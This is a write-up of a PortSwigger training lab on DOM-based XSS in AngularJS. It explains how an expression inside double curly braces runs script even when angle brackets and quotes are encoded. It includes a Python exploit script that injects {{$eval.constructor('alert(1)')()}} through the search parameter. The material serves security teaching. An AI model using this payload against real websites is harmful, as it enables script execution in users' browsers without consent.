Shubham Ranpise

Back

XSS Lab 11

DOM-based XSS exploiting AngularJS expressions when angle brackets and double quotes are HTML-encoded

portswigger-labs content

DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded#

This lab demonstrates a DOM-based cross-site scripting (XSS) vulnerability in an AngularJS expression embedded inside the page’s HTML (via an ng-app directive). When user input is reflected into AngularJS-scanned nodes, it’s possible to execute JavaScript by injecting an AngularJS expression inside double curly braces — even if angle brackets and double quotes are encoded by the application.

The goal is to craft an AngularJS expression that invokes alert(1) when evaluated. The payload used takes advantage of constructor access on an Angular object to call alert(1).

How Exploit Works#

  • The application reflects the search input inside an element scanned by AngularJS (an element with an ng-app directive).
  • AngularJS evaluates expressions contained within {{ ... }}. If attacker-controlled input is placed here, an expression can be executed.
  • Because angle brackets and double quotes are HTML-encoded, injecting a <script> is not necessary — an Angular expression is sufficient.
  • The injected expression uses a constructor call on a built-in Angular object to reach the global alert function and execute alert(1).
  • Submitting the payload via the search box and triggering the search causes AngularJS to evaluate the expression and run the alert.

Usage#

python3 exploit.py https://<your-lab-id>.web-security-academy.net
cmd

Exploit#

exploit.py
import requests
import sys
import urllib3

# Disable SSL warnings for Burp Suite
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Set Burp Suite proxy
proxies = {
    'http': 'http://127.0.0.1:8080',
    'https': 'http://127.0.0.1:8080'
}

def check_burp():
    # Check if Burp Suite is running and listening on the configured proxy.

    try:
        requests.get("http://127.0.0.1:8080", timeout=3)
    except requests.exceptions.RequestException:
        print("[-] Burp Suite is not running. Please start it and try again.")
        sys.exit(1)

def exploit_xss(url, payload):
    # Exploit XSS in search parameter.
        uri = f"/?search={payload}"
        res = requests.get(url + uri, verify=False, proxies=proxies)
        res.raise_for_status()
        session = requests.Session()
        res = session.get(url, verify=False, proxies=proxies)
        if "Congratulations" in res.text:
            print("[+] Lab solved 🎉")
            return True
        else:
            print("[-] lab not solved.")

def main():
    # Entry point of the script.

    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <url>")
        print(f"Example: python {sys.argv[0]} https://example.com")
        sys.exit(1)

    url = sys.argv[1].strip()

    # Step 1: Check Burp Suite
    check_burp()

    # Step 2: Define XSS payload
    payload = "{{$eval.constructor('alert(1)')()}}"

    # Step 3: Attempt exploitation
    print("[*] Attempting XSS...")
    if exploit_xss(url, payload):
        print("[+] XSS successful!")
    else:
        print("[-] XSS unsuccessful.")

if __name__ == "__main__":
    main()
python

See more portswigger-labs